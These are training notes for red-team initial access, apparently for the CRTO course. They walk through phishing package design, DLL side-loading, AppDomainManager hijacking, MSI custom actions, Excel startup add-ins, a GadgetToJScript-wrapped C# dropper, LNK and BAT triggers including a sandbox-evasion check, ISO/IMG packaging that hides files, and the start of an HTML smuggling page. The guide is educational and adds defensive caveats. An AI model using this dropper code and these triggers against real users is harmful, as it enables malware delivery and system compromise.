Skills · learning

Initial Access

Table of Contents

Initial Access

Overview

Initial access establishes the first authorized foothold in the target environment. Possible routes include exposed services, remote-access portals, supply-chain paths, and social engineering. This chapter studies the phishing-package model; it does not imply that a phishing exercise is needed for every engagement. In the CRTO exam's stated assumed-breach format, the provided foothold and its execution controls are the immediate starting point. The live rules of engagement still determine the actual route.

Initial access routes

The route determines what must be delivered, what the recipient or service will do, and what a defender may observe. For this chapter, focus on how the parts of a user-delivered package fit together before choosing a file format or tool.

Phishing taxonomy

One chain, five different jobs DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY))

Delivery gets the package to a person. The container groups its files. The trigger is what the person opens. The payload is code that eventually runs. The decoy is the legitimate-looking content shown to the person. A component can be omitted or combined in a particular campaign, so treat this as a model rather than a required recipe.

Part Question to ask Example from the guided lab
Delivery How does the person receive the package? A hosted page offers the package.
Container What bundles the dependencies? An ISO holds the files.
Trigger What does the person interact with? A shortcut starts the application and opens the document.
Payload What code ultimately executes? A managed DLL initiates a Beacon stage in the lab.
Decoy What content supports the pretext? A spreadsheet opens for the person.
flowchart LR A[Hosted page] -->|delivery| B[ISO package] B --> C[Shortcut trigger] C --> D[Spreadsheet decoy] C --> E[.NET application] E --> F[Configured AppDomainManager DLL] F --> G[Lab payload behavior]
Diagram source
flowchart LR
    A[Hosted page] -->|delivery| B[ISO package]
    B --> C[Shortcut trigger]
    C --> D[Spreadsheet decoy]
    C --> E[.NET application]
    E --> F[Configured AppDomainManager DLL]
    F --> G[Lab payload behavior]

This diagram describes roles, not a guarantee of execution or evasion. The application and DLL are part of the payload path; the spreadsheet is the decoy. The example campaign in the course uses a different, longer sequence to illustrate how multiple stages can obscure analysis while creating additional telemetry.

Phishing example showing the download lure, destination, and impersonated presentation discussed in the lesson.
Fig. 1. Phishing example showing the download lure, destination, and impersonated presentation discussed in the lesson.

Payloads and decoys

The payload is the code that runs in the target environment. The decoy is the visible content that makes the interaction consistent with its pretext. A DLL, installer action, Excel add-in, or dropper can carry or start a payload; none of these is automatically the decoy. A file that appears to be a PDF should lead to a plausible PDF decoy, while the guided lab uses a spreadsheet pretext and spreadsheet decoy.

Decision question: which component is supposed to execute, which component should merely be displayed, and what evidence would show that both occurred? A returned Beacon would show one stage ran, but it would not prove how the user experienced the package or that security controls were bypassed cleanly.

DLL side-loading

Use this section to understand: how a legitimate executable can become the loader for a malicious DLL when search order and write permissions line up. The key investigation question is which dependency the application tried to load and from which locations.

Core idea: make a legitimate program load a malicious DLL by taking advantage of Windows DLL search-order behavior. DLL side-loading (also called DLL search-order hijacking or binary planting in some contexts) abuses the Windows DLL loader's search behavior. It is possible only when the application loads a dependency without a sufficiently specific path and a writable searched location can be controlled.

Windows has several search-order rules, including safe DLL search mode, known DLLs, manifests, package dependencies, and application-specific loading flags. Therefore, the exact order must be checked for the application and Windows version rather than assumed.

One possible case is an application attempting to load a DLL that is absent from the expected location. If a standard user can write to a location that the loader searches, a same-named DLL may be loaded there. This is a lab hypothesis to test, not a guarantee that every missing-DLL event is exploitable.

How you would do this is you would go into Process monitor and find out DLL that result in name not found A common methodology for finding these hijack opportunities is to run Process Monitor with a filter where:

  • The path ends in .dll.

  • The result is NAME NOT FOUND.

Process Monitor trace showing a program's DLL-search attempts and file-access results.
Fig. 2. Process Monitor trace showing a program's DLL-search attempts and file-access results.

Many applications use safer loading patterns, but vulnerable cases still depend on the application's behavior, directory permissions, and the active DLL-loading rules.

The Windows Component Store is located at:

C:\Windows\WinSxS.

The component store can contain multiple versions of Windows components for servicing and compatibility. Its presence does not by itself prove that an old executable is vulnerable or intended to be used; confirm the file's provenance, version, dependencies, and permissions in the lab.

PS C:\Users\Attacker> ls -Path C:\Windows\WinSxS -Recurse -Filter ngentask.exe | Select -expand FullName

In the lab example, the older executable appears to search for a missing DLL in a directory that can be modified. The important evidence is the missing-DLL event, the search location, the write permission, and the resulting load - not simply the fact that the executable came from WinSxS.

https://github.com/FuzzySecurity/DLL-Template

Process Monitor view used to examine DLL loading and the executable's search behavior.
Fig. 3. Process Monitor view used to examine DLL loading and the executable's search behavior.

.NET execution techniques

Mental model: these techniques influence how a .NET application loads or initializes managed code. Separate the loader/application, the .NET assembly, the configuration, and the code that ultimately executes.

AppDomainManager

Separate the two lab mechanisms DLL search-order side-loading depends on where Windows searches for a named native dependency. AppDomainManager selection depends on a compatible .NET Framework application's managed-runtime configuration. The guided lab uses ngentask.exe as that .NET host, then configures a custom manager. Its separate missing-mscorsvc.dll demonstration is the search-order example. Do not treat the two mechanisms as the same dependency failure.

The lab's manager then starts a suspended browser process and overwrites its entry-point bytes with embedded shellcode before resuming it. That is an entry-point overwrite / hollowing-style execution step; the shown code does not unmap the original image and map a replacement PE, so it is not full PE process hollowing. A browser process name does not by itself establish a normal or unobserved process chain.

Execution technique: AppDomainManager
Payload: whatever code the manager ultimately causes to execute.

AppDomainManager preparation diagram showing the custom C# class and its relationship to the .NET host.
Fig. 4. AppDomainManager preparation diagram showing the custom C# class and its relationship to the .NET host.
AppDomainManager setup showing the compatible .NET executable and CLR configuration inputs.
Fig. 5. AppDomainManager setup showing the compatible .NET executable and CLR configuration inputs.

The execution diagrams show the manager's place in the .NET startup path:

Execution sequence showing process startup, CLR initialization, and the custom AppDomainManager.
Fig. 6. Execution sequence showing process startup, CLR initialization, and the custom AppDomainManager.

The CLR resolves the configured assembly and type, creates the AppDomainManager, and calls its initialization method. A custom implementation can place its lab behavior in the constructor or an overridden method. The harmless demonstration displays a message; the exercise's implementation then performs its separate payload behavior.

C# AppDomainManager example used to demonstrate the initialization hook.
Fig. 7. C# AppDomainManager example used to demonstrate the initialization hook.

The lab places the managed DLL beside the copied .NET Framework executable so the configured assembly can be resolved. That placement is a lab dependency; the key condition is that the runtime can find the named assembly and type. The executable supplies a compatible host. It does not confer higher privileges or make the resulting process trustworthy merely because its original copy came from WinSxS.

PS C:\Users\Attacker> cp C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\ngentask.exe ngentask.exe PS C:\Users\Attacker> cp C:\Tools\AppDomainHijack\bin\Debug\AppDomainHijack.dll domainManager.dll

What the manager does here: during .NET Framework domain initialization, the runtime resolves the configured assembly and type, creates that manager, and calls its initialization path. The manager's code then initiates the lab payload behavior. The environment-variable method and application configuration are two ways to select the manager; they do not themselves contain the shellcode.

  • The type names must be fully qualified

PS C:\Users\Attacker>$env:APPDOMAIN_MANAGER_ASM = 'AppDomainHijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' PS C:\Users\Attacker>$env:APPDOMAIN_MANAGER_TYPE = 'AppDomainHijack.DomainManager'

Once those values are in place, a compatible .NET Framework application may initialize the configured manager. Setting them does not itself provide privilege escalation; the resulting code runs with the privileges and security context of the host process.

PowerShell setup and execution context for the course's AppDomainManager example.
Fig. 8. PowerShell setup and execution context for the course's AppDomainManager example.

Windows Installer (MSI)

Use this section to understand: how an installer package can perform actions during installation. The important concepts are the package, custom actions, execution context, architecture, and the difference between installation behavior and the payload itself.

Another execution surface is Windows Installer (.msi). An MSI is an installation database that describes files, components, sequencing, and actions; it is not simply a DLL loader.

MSI projects can be authored in Visual Studio with the Installer Projects extension. In the guided example, the project packages a selected lab dependency in the application folder.

Windows Installer example showing the application file included in the installer project.
Fig. 9. Windows Installer example showing the application file included in the installer project.

The installer project can set a destination filename and file attributes for a packaged item. Those settings affect the installed artifact, not its trustworthiness or execution evidence.

Installer-project file view showing the packaged application and its properties.
Fig. 10. Installer-project file view showing the packaged application and its properties.

Next, the lab example adds a custom action that runs during the installation sequence. Custom actions can contain executables, DLLs, or scripts, and their execution context depends on how the action is authored and how the installation is invoked.

In Visual Studio, the course walkthrough opens the project's Custom Actions view to define when an installer action runs.

Visual Studio Solution Explorer showing the installer project and its application output.
Fig. 11. Visual Studio Solution Explorer showing the installer project and its application output.

The screenshot shows the custom-action configuration. Record whether the action is attached to install, repair, commit, rollback, or uninstall; these are different lifecycle points.

Windows Installer Custom Actions view showing the installation-stage action slots.
Fig. 12. Windows Installer Custom Actions view showing the installation-stage action slots.

Select the packaged lab application as the custom-action target, then verify the configured architecture and installation phase.

Since this payload is 64 bit you need to run the 64 bit to true

Custom Actions configuration showing the application assigned to an installer action.
Fig. 13. Custom Actions configuration showing the application assigned to an installer action.

Project properties can set product metadata and target architecture. Metadata affects the displayed installer identity; it is not evidence that the publisher or payload is trustworthy.

Deployment-project properties used to configure the example MSI package.
Fig. 14. Deployment-project properties used to configure the example MSI package.

Depending on the project and bootstrapper settings, the build may produce an MSI and a setup executable. Do not assume both are always produced or that the setup executable is unnecessary; verify which artifact the lab flow expects.

File listing showing the generated MSI package in the course build output.
Fig. 15. File listing showing the generated MSI package in the course build output.

Excel add-ins

Use this section to understand: how Excel automatically loads add-ins or startup content, and how Protected View, Mark of the Web, trusted locations, and user-writable paths affect execution. Keep the lab-specific file locations separate from the general principle.

Excel add-ins provide extensibility, often through macros or other automation. The course section focuses on how startup loading, Protected View, Mark of the Web, trusted locations, and Office policy affect whether an add-in is loaded. Mark of the Web (MOTW) is a Windows zone identifier attached to content obtained from the Internet. Office uses that provenance signal, together with policy and file type, when deciding whether to block or warn about active content. It does not mean that every file with MOTW cannot open.

Protected View and macro-blocking behavior can also depend on whether the file arrived as an attachment, was downloaded, or came from a trusted location.

The listed folders are examples of Office startup or trusted-location paths, not a universal way to bypass policy. A trusted location is an administrative or user-controlled policy decision, and adding content there can itself be a security event.

  • %ProgramFiles%\Microsoft Office\root\Office16\Library\

  • %ProgramFiles%\Microsoft Office\root\Office16\STARTUP\

  • %ProgramFiles%\Microsoft Office\root\Office16\XLSTART\

  • %ProgramFiles%\Microsoft Office\root\Templates\

  • %APPDATA%\Microsoft\Excel\XLSTART\

  • %APPDATA%\Microsoft\Templates\

The user profile is normally more writable than Program Files, but writability and automatic loading are separate questions. A path should be treated as a candidate only after checking the installed Office version, policy, permissions, and startup behavior.

Excel can load supported startup workbooks, templates, and add-ins from configured startup locations. This behavior is version- and policy-dependent, so verify it in the lab rather than assuming every file in every listed directory will execute.

An Excel Add-In (.xlam) is a macro-enabled workbook format. The course example starts with a blank workbook, opens the VBA editor, and adds a module. To create an XLAM, create a new empty workbook and open the VB editor using Alt + F11.  Right-click on the VBAProject and select Insert > Module.

Excel VBA project view used to configure the add-in example.
Fig. 16. Excel VBA project view used to configure the add-in example.

Then add your macro code into the new module.  For example:

Private Sub Auto_Open()

MsgBox "Hello World", vbOKOnly, "pwned"

End Sub

Close the editor, go to File > Save As, and save the workbook as an Excel Add-In (*.xlam) file.

Copying an add-in to a startup or trusted location may change how Office handles it, but it does not universally remove Protected View or macro restrictions. Confirm the effective policy and the file's MOTW state.

In the lab, copying the XLAM file into %APPDATA%\Microsoft\Excel\XLSTART was used as a test of startup loading. Treat the observed result as lab evidence, not a universal guarantee; current Microsoft guidance distinguishes trusted locations, startup folders, MOTW, and macro policy.

File Explorer showing the Excel XLSTART directory used for automatic add-in loading.
Fig. 17. File Explorer showing the Excel XLSTART directory used for automatic add-in loading.

Code-signing considerations

Use this section to understand: how signatures affect publisher trust and warning decisions. A valid signature can identify a publisher, but it does not prove that the signed program is safe; certificate provenance and revocation matter.

Code signing contributes to publisher identity and file-integrity checks used by technologies such as SmartScreen. A valid signature can affect user warnings and reputation, but it does not prove that a program is benign. With a code-signing certificate, an application can present a publisher identity to the platform and user.

That can affect warnings and reputation, but a signature does not prove that the program is safe. Certificate validity, revocation, reputation, origin, and policy still matter.

Obtaining a certificate from a trusted issuer is not the same as proving that the signed content is trustworthy. Certificate issuance, publisher impersonation, and stolen certificates are security concerns in their own right.

Windows publisher-verification warning illustrating the user-visible effect of an unverified publisher.
Fig. 18. Windows publisher-verification warning illustrating the user-visible effect of an unverified publisher.

There are different certificate validation profiles, including standard and extended-validation certificates.

The important study point is that a signature identifies a publisher and protects integrity; it does not guarantee that the program is safe.

Certificate types use different validation requirements and may affect how platforms present publisher trust. Treat claims about reputation or warning behavior as dependent on issuer, certificate status, platform policy, and file history. Obtaining a legitimate code-signing certificate requires issuer validation and creates an identity trail. The course also discusses stolen or exposed certificates as a risk; those should be treated as compromised credentials and reported or revoked, not as a practical or authorized acquisition method.

Droppers

Why the JavaScript dropper example has two code layers In the course example, a .NET assembly contains another program as an embedded resource. The generated JavaScript is a wrapper that causes the assembly's constructor to run; the assembly reads the resource, writes it out, and starts it. The JavaScript wrapper, .NET dropper, and final payload have different jobs. Each stage can create file-write, process-start, or network telemetry, so an extra layer does not guarantee antivirus or EDR evasion.

Mental model

A dropper delivers another program. It may extract a payload embedded in its own file or retrieve a later stage over a network connection. The extra layer adds indirection and can complicate an investigation; it also adds behavior defenders can observe.

Flow What the container holds What runs next
Direct The payload itself The trigger starts the payload.
Embedded dropper A dropper with the payload bundled inside The dropper extracts and starts the embedded payload.
Remote dropper A dropper that retrieves a later stage The dropper makes a network request, then handles the retrieved content.
Delivery diagram showing a payload placed directly inside a container.
Fig. 19. Delivery diagram showing a payload placed directly inside a container.

The second diagram adds a dropper layer to the chain:

Alternative delivery diagram placing a dropper inside the container instead of the final payload.
Fig. 20. Alternative delivery diagram placing a dropper inside the container instead of the final payload.

The embedded-resource diagrams show how the payload bytes are packaged with the assembly:

Dropper model showing a second program stored as embedded bytes.
Fig. 21. Dropper model showing a second program stored as embedded bytes.
Comparison of droppers carrying an embedded payload and droppers retrieving a remote payload.
Fig. 22. Comparison of droppers carrying an embedded payload and droppers retrieving a remote payload.

JavaScript-wrapped .NET example

The course example has three distinct components:

  1. Payload: an EXE or DLL selected for the lab.
  2. .NET dropper assembly: the payload is added as an embedded resource. The assembly reads the resource stream, writes the bytes to a file, and starts that file.
  3. JavaScript wrapper: GadgetToJScript produces a script that invokes the .NET component through its serialization mechanism.

The practical study point is the data flow: payload file -> embedded resource -> resource stream -> file written to disk -> process started. GadgetToJScript supplies another wrapper layer; it does not make the payload invisible. The detailed lab code and build steps remain below.

JavaScript-wrapped .NET sequence linking the embedded payload, dropper assembly, and script wrapper.
Fig. 23. JavaScript-wrapped .NET sequence linking the embedded payload, dropper assembly, and script wrapper.
Dropper execution model showing embedded-resource extraction and writing the resulting program to disk.
Fig. 24. Dropper execution model showing embedded-resource extraction and writing the resulting program to disk.

Step 1 - Start with the actual payload

They already have:

http_x64.exe

That's the payload.

Imagine it simply as:

PAYLOAD
┌──────────────────┐
│ http_x64.exe     │
│                  │
│ actual program   │
└──────────────────┘

The goal of the lesson is essentially:

"Instead of directly delivering this EXE, let's build something that carries it and extracts it later."

That something is the dropper.


Step 2 - Create the .NET dropper

They create a .NET Framework Class Library:

MyDropper
    │
    └── Dropper.cs

When compiled, that becomes:

MyDropper.dll

At this moment it's just a .NET DLL.

Conceptually:

MyDropper.dll
┌──────────────────────────┐
│ C# dropper code          │
└──────────────────────────┘

Step 3 - Put the EXE inside the DLL

This is the part we were discussing earlier.

They add:

http_x64.exe

to the Visual Studio project and change:

Build Action
      ↓
Embedded Resource

Now when the project is compiled, conceptually you get:

MyDropper.dll
┌──────────────────────────────┐
│                              │
│ C# Dropper Code              │
│                              │
├──────────────────────────────┤
│ Embedded Resource            │
│                              │
│ http_x64.exe                 │
│ [raw bytes of executable]    │
│                              │
└──────────────────────────────┘

So you no longer need http_x64.exe sitting separately next to the DLL for this example.

Its bytes have been packaged into the .NET assembly.

That's what Embedded Resource means here.


Step 4 - The dropper needs to retrieve those bytes

Now this line should make much more sense:

var assembly = Assembly.GetExecutingAssembly();

It's basically saying:

"Give me a reference to the assembly that I'm currently running from."

So:

Dropper code
    │
    │ GetExecutingAssembly()
    ▼
MyDropper.dll

Then:

assembly.GetManifestResourceStream(...)

means approximately:

"Find this embedded resource inside my assembly and give me a stream for reading its bytes."

Conceptually:

MyDropper.dll
┌─────────────────────────────┐
│ Dropper code                │
│                             │
│        asks for             │
│           ↓                 │
│ ┌─────────────────────────┐ │
│ │ embedded http_x64.exe   │ │
│ │                         │ │
│ │ 4D 5A 90 00 ...         │ │
│ └─────────────────────────┘ │
└─────────────────────────────┘
             │
             ▼
      ResourceStream
             │
             ▼
     bytes of the EXE

So GetManifestResourceStream() isn't doing anything magical.

It's basically:

"Open the embedded file so I can read it."


Step 5 - Write those bytes back into a real file

Now the dropper has:

resource stream
      ↓
bytes of http_x64.exe

The next code creates a file and copies those bytes into it.

The important conceptual operation is simply:

Embedded EXE bytes
inside MyDropper.dll
        │
        │ CopyTo()
        ▼
New file on disk
        │
        ▼
MyApp.exe

So:

rs.CopyTo(fs);

basically means:

"Copy the bytes I'm reading from the embedded resource into this newly created file."

You started with:

MyDropper.dll
┌─────────────────────┐
│                     │
│ [http_x64.exe bytes]│
│                     │
└─────────────────────┘

and after extraction you have:

MyDropper.dll

        +

C:\...\MyApp.exe

That's why it's called a dropper.

It literally drops another file onto the filesystem.


Step 6 - Execute the dropped program

The example then does:

Process.Start(filePath);

Conceptually:

Extract payload
      │
      ▼
MyApp.exe exists on disk
      │
      ▼
Process.Start()
      │
      ▼
Windows launches MyApp.exe

So if we stopped the lesson here:

        MyDropper.dll
        ┌───────────────┐
        │ Dropper code  │
        │               │
        │ Embedded EXE  │
        └───────┬───────┘
                │
          extract bytes
                ▼
           MyApp.exe
                │
              start
                ▼
          payload runs

That's the actual dropper logic.

Everything after this is mostly about how they cause this .NET dropper to execute from JavaScript.


Step 7 - Why GadgetToJScript?

Here's where the chapter introduces another layer.

They don't ultimately want the delivered stage to simply be:

MyDropper.dll

They want:

dropper.js

But JavaScript doesn't ordinarily just execute an arbitrary .NET class library.

So GadgetToJScript is being used as the bridge in this lesson:

MyDropper.dll
      │
      │ GadgetToJScript
      ▼
 dropper.js

Conceptually, the generated JavaScript contains the machinery/data necessary to cause the .NET assembly to be instantiated through the technique GadgetToJScript uses.

You therefore shouldn't think:

"GadgetToJScript converts C# source code into JavaScript."

That's not the right mental model.

Think:

It produces a script that can trigger loading/execution of the supplied .NET assembly through its gadget/deserialization mechanism.

That's also why the notes say the interesting C# logic is placed in the constructor: in this particular chain, instantiation during deserialization causes the constructor to execute.

So:

dropper.js
    │
    ▼
Gadget/deserialization mechanism
    │
    ▼
.NET assembly instantiated
    │
    ▼
new Dropper()
    │
    ▼
constructor executes
    │
    ├── find embedded EXE
    ├── read bytes
    ├── write EXE
    └── start EXE

That's the important connection.

These are the step by step that was actually given but you wanna take this note so that we can Copied these steps next to next

This lesson will demonstrate how to create a JavaScript dropper out of a .NET assembly, using GadgetToJScript.  Start off by creating a new .NET Framework Class Library project in Visual Studio.

Visual Studio project-selection screen used to create the course's .NET dropper project.
Fig. 25. Visual Studio project-selection screen used to create the course's .NET dropper project.

Make sure you pick the .NET Framework version, rather than .NET Core.

The project will be created with an empty Class1.cs file.

using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

namespace MyDropper

{

public class Class1

{

}

}

First, rename Class.cs to Dropper.cs (not required, but kinda nice).

Then, right-click on the project in the Solution Explorer and go to Add > Existing Item.  Select a payload file to embed in the dropper, e.g. http_x64.exe, then in its properties, change the Build Action to Embedded Resource.

Solution Explorer showing the dropper project's files and embedded-resource configuration.
Fig. 26. Solution Explorer showing the dropper project's files and embedded-resource configuration.

For G2JS to work properly, all the C# code needs to be inside the class constructor, as this is what's executed during deserialization.  We start off by calling GetManifestResourceStream to read the embedded resource from the assembly.

using System.Reflection;

namespace MyDropper

{

public class Dropper

{

    public Dropper()

    {

        // use reflection to get reference to own assembly

        var assembly = Assembly.GetExecutingAssembly();

        // read embedded payload

        using (var rs = assembly.GetManifestResourceStream("MyDropper.http_x64.exe"))

        {

            // do something

        }

    }

}

}

The name of the resource must be prefixed with the project's namespace.

Once the payload has been read, it can be dropped somewhere to disk.  Even though it's tempting to do so, executing malicious code from places like a user's home directory or temporary directories is usually a bad idea.  We want to stick to standard locations such as:

  • C:\Program Files*

  • C:\Program Files (x86)*

  • C:\ProgramData*

  • C:\Windows*

Of these locations, only ProgramData is writable by standard users.  Let's create a new directory and drop the payload in there.

using (var rs = assembly.GetManifestResourceStream("MyDropper.http_x64.exe"))

{

// get path to ProgramData

var path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);

// construct new path with our dir name

var newPath = Path.Combine(path, "MyLegitApp");

// create new directory inside ProgramData

var newDir = Directory.CreateDirectory(newPath);

// construct path for the executable

var filePath = Path.Combine(newDir.FullName, "MyApp.exe");

// drop the path to disk

using (var fs = File.Create(filePath))

{

    // copy resource stream into file stream

    rs.CopyTo(fs);

    // close file

    rs.Close();

}

}

The dropper can also execute the payload after it has been written to disk.

// execute it

Process.Start(filePath);

Build the project and it will produce MyDropper.dll.  The next step is to serialise it using GadgetToJScript.

PS C:\Users\Attacker> C:\Tools\GadgetToJScript\GadgetToJScript\bin\Release\GadgetToJScript.exe -a C:\Users\Attacker\source\repos\MyDropper\bin\Release\MyDropper.dll -w js -b -o C:\Payloads\dropper

[+]: Generating the js payload

[+]: First stage gadget generation done.

[+]: Loading your .NET assembly:C:\Users\Attacker\source\repos\MyDropper\bin\Release\MyDropper.dll

[+]: Second stage gadget generation done.

[*]: Payload generation completed, check: C:\Payloads\dropper.js

Where:

  • -w is the type of script to output.  Valid options are js, vbs, vba and hta. 

  • -b is described by this tool's output as handling type-check controls introduced in .NET Framework 4.8+. Treat this as tool/version-specific behavior and verify it in the supplied lab; it is not a general .NET security bypass.

  • -o is the output path (excluding the file extension).

This will produce a JavaScript dropper that can be executed using wscript or by simply double-clicking it (assuming wscript is set to the default file-handler for this file extension).

Cobalt Strike task and session view from the JavaScript-wrapped dropper demonstration.
Fig. 27. Cobalt Strike task and session view from the JavaScript-wrapped dropper demonstration.

If we also packed this dropper into a container, we could have a chain that could resemble something like ISO => LNK => JS => .NET DLL => EXE.  Using an executable is a slightly mundane example, although this is leveraged by real actors.  You could also use a dropper to drop a payload DLL to exploit a more complicated DLL or COM hijack, or even perform shellcode injection.

Triggers

Use this section to compare: the user-facing file or action that starts the chain with the payload and the decoy. A trigger can be a batch file, shortcut, or document/container-associated action; each has different visibility, execution context, and forensic evidence.

A trigger is the file or user action that starts the next stage after the container is opened. The trigger should be understandable to the user and should launch the intended payload or decoy in the authorized lab.

Batch triggers

A batch file (.bat, .cmd, or .btm) is a text script executed by cmd.exe. In the course example, it serves as the user-facing trigger and starts the next item in the chain. The payload is the code or program being run; the trigger is the item that starts it.

@echo off suppresses command echo in the console. Redirection such as > nul 2>&1 suppresses displayed standard output and errors for that command. Neither removes process activity or endpoint telemetry.

The following diagrams preserve the course examples and show the user-facing sequence:

Batch-trigger sequence showing cmd.exe launching the payload and decoy in order.
Fig. 28. Batch-trigger sequence showing cmd.exe launching the payload and decoy in order.
Batch-file example starting an executable and a decoy PDF before exiting.
Fig. 29. Batch-file example starting an executable and a decoy PDF before exiting.

The next example compares a direct double-click with a script launched inside an already-open command prompt. It demonstrates execution-context checks used by some simplistic sandbox-evasion samples. Treat it as a behavior to recognize; it is not a reliable signal of a human user or a guarantee of avoiding detection.

Batch Trigger - Detecting How the BAT Was Launched

A BAT file can check how its cmd.exe process was originally started and behave differently depending on the execution context.

Two variables are used:

%cmdcmdline% → original command line that started cmd.exe
%~f0         → full path of the current BAT file

If the user double-clicks the BAT:

User double-clicks test.bat
        ↓
Windows starts:
cmd.exe /c "...test.bat..."
        ↓
%cmdcmdline% contains test.bat

If the BAT runs from an already-open command prompt:

cmd.exe was already running
        ↓
test.bat is invoked
        ↓
%cmdcmdline% may just contain cmd.exe
        ↓
test.bat is NOT in the original cmd command line

Therefore this check:

echo %cmdcmdline% | find /i "%~f0" || exit

means:

Does cmd.exe's original command line contain
the path of this BAT?
            │
       ┌────┴────┐
      YES        NO
       ↓          ↓
   Continue      Exit

Why this matters

The BAT is effectively checking:

“Does my execution context look like the expected direct user interaction?”

A simplistic automated sandbox might execute the BAT differently from a user double-clicking it. The script can detect that difference and exit before showing its interesting behavior:

Expected user interaction → Continue → next-stage behavior

Different execution context → Exit → nothing further happens

This is better understood as execution-context / sandbox-evasion logic, not as making the BAT invisible to antivirus. Modern AV/EDR can still inspect the BAT and monitor its behavior.

Shell Link (LNK) triggers

A Shell Link (.lnk) is a Windows shortcut. Explorer commonly hides the .lnk extension, and the shortcut can use a custom icon, so the visible name and icon may differ from its target. Inspect the target, arguments, icon and working directory when assessing a shortcut.

The course example creates a shortcut through the WScript.Shell COM object:

$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("C:\Payloads\trigger.pdf.lnk")
$lnk.TargetPath = "%COMSPEC%"
$lnk.Arguments = "/C start payload.exe && start decoy.pdf"
$lnk.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$lnk.Save()

The screenshot shows how the shortcut can appear in Explorer:

File Explorer view showing the PDF-style presentation used in the shortcut-trigger example.
Fig. 30. File Explorer view showing the PDF-style presentation used in the shortcut-trigger example.

The add-in example uses a shortcut to place an Excel add-in in a startup folder before opening a decoy workbook. Whether Excel loads it depends on the location, file type, Office version, Mark of the Web state, and effective policy.

Diagram explaining that an Excel add-in in an ordinary folder is not automatically loaded.
Fig. 31. Diagram explaining that an Excel add-in in an ordinary folder is not automatically loaded.
Shortcut-trigger diagram showing an add-in being placed in Excel's startup directory.
Fig. 32. Shortcut-trigger diagram showing an add-in being placed in Excel's startup directory.

Microsoft Management Console (MSC) triggers

The course describes an MSC file that abuses a specific Microsoft Management Console scripting flaw to trigger script execution. This is a vulnerability-dependent historical lab technique. A filename ending in .msc does not itself cause code execution, and MMC auto-elevation does not mean arbitrary content launched from an MSC runs with high integrity. The outcome depends on the exact vulnerable behavior and system configuration.

The diagrams below show the saved-console trigger and the script path discussed in the lesson:

MSC-trigger model showing Windows associating the opened console file with Microsoft Management Console.
Fig. 33. MSC-trigger model showing Windows associating the opened console file with Microsoft Management Console.
Execution sequence connecting an MSC file, mmc.exe, and the configured console content.
Fig. 34. Execution sequence connecting an MSC file, mmc.exe, and the configured console content.

Course reference: MSC_Dropper. Treat third-party examples as unverified until they match the authorized lab environment.

Containers and Mark of the Web

Two separate concepts A container bundles files. Mark of the Web (MOTW) is provenance metadata that may be attached to a downloaded file and can affect how Windows or Office handles it. Container choice can change propagation in a particular tool/version, but an ISO, ZIP, or IMG is not inherently unmarked or trusted. Check the resulting extracted file and effective policy.

Use this section to understand: how multiple files can be bundled and how Windows records that content came from the Internet. Container behavior can change what the user sees and what security controls inspect, but it does not remove the need to validate the resulting execution chain.

A container bundles files such as the trigger, payload, and decoy into one package. This makes delivery of multiple dependencies easier to manage. Windows natively supports formats such as ISO, IMG, ZIP, and WIM; other archive formats may require additional software.

Mark of the Web (MOTW) records that a file came from the Internet or another less-trusted zone. It may appear in Explorer's file properties or as a Zone.Identifier alternate data stream. In the course example, PowerShell inspects that stream with:

Get-Content -Stream Zone.Identifier .\test.pdf

MOTW can affect Windows warnings and Office active-content policy. Check the resulting file and effective policy in the lab; a container's format does not guarantee whether MOTW is preserved.

The course used PackMyPayload to package an example file as an ISO. The figure shows the packaging workflow:

PackMyPayload command used to build the container in the Mark-of-the-Web demonstration.
Fig. 35. PackMyPayload command used to build the container in the Mark-of-the-Web demonstration.

A local Python web server was used in the lab to transfer the ISO for a behavior check:

Local HTTP-server test used to download the generated container through a browser.
Fig. 36. Local HTTP-server test used to download the generated container through a browser.

The observed MOTW result applied to that packaging and transfer path. It is not a rule for all ISO, ZIP, IMG, or WIM files:

File Explorer showing the mounted container and the batch file inside it.
Fig. 37. File Explorer showing the mounted container and the batch file inside it.

PackMyPayload also accepts a hidden-file list. The course example hides the decoy and add-in while packaging an IMG:

python3 PackMyPayload.py -H decoy.xlsx,payload.xlam /mnt/c/Payloads/xlam /mnt/c/Payloads/xlam/package.img

A hidden attribute changes ordinary Explorer visibility; it does not remove the file or its forensic traces.

Delivery methods

Use this section to compare: how the person receives a package, where file bytes are reconstructed, what the browser actually downloads, and which controls inspect each stage.

Delivery is the route to the recipient. HTML and SVG smuggling are browser-side reconstruction patterns. Host File is Cobalt Strike's hosting function; Clone Site is a separate page-hosting function that can reference a hosted resource. They are not five independent delivery methods. A downloaded package is still subject to browser behavior, Mark of the Web handling, endpoint scanning, user interaction, and policy.

HTML smuggling

Encoding is not invisibility Encoding or encrypting content in a page changes what is sent over the network and where the final file is reconstructed. It does not mean that a gateway, browser, script scanner, or endpoint product cannot detect the page, reconstruction, saved file, or execution.

HTML smuggling can help files pass some traditional content filters by moving the reconstruction step into the browser, but it is not guaranteed to bypass modern web, email, or endpoint controls.

In a conventional link-based download, the file bytes are sent in the HTTP response and may be inspected by gateways or browsers. In an HTML-smuggling flow, the page delivers data or instructions that the browser uses to reconstruct a file locally.

HTML smuggling therefore means that the browser receives the ingredients for a file and reconstructs it locally instead of receiving the final file directly across the network.

Browser-to-server sequence showing a conventional ZIP-file download.
Fig. 38. Browser-to-server sequence showing a conventional ZIP-file download.

The important distinction is where the file is assembled: the network delivers a web page or data, and the browser performs the reconstruction.

The example stores Base64 text and decodes it into a browser Blob. Base64 is an encoding format; the page and reconstruction behavior remain observable.

HTML-smuggling diagram showing encoded data delivered with a page and assembled into a file in the browser.
Fig. 39. HTML-smuggling diagram showing encoded data delivered with a page and assembled into a file in the browser.

The course example below illustrates browser-side reconstruction from encoded content.

<html>
    <head>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/brands.min.css">
    </head>
    <body>
        <button class="btn" onclick="downloadFile()"><i class="fa fa-download"></i> Download</button>

        <script>
            function convertFromBase64(base64) {
                let binary_string = window.atob(base64);
                let len = binary_string.length;
                let bytes = new Uint8Array(len);
                for (let i = 0; i < len; i++) {
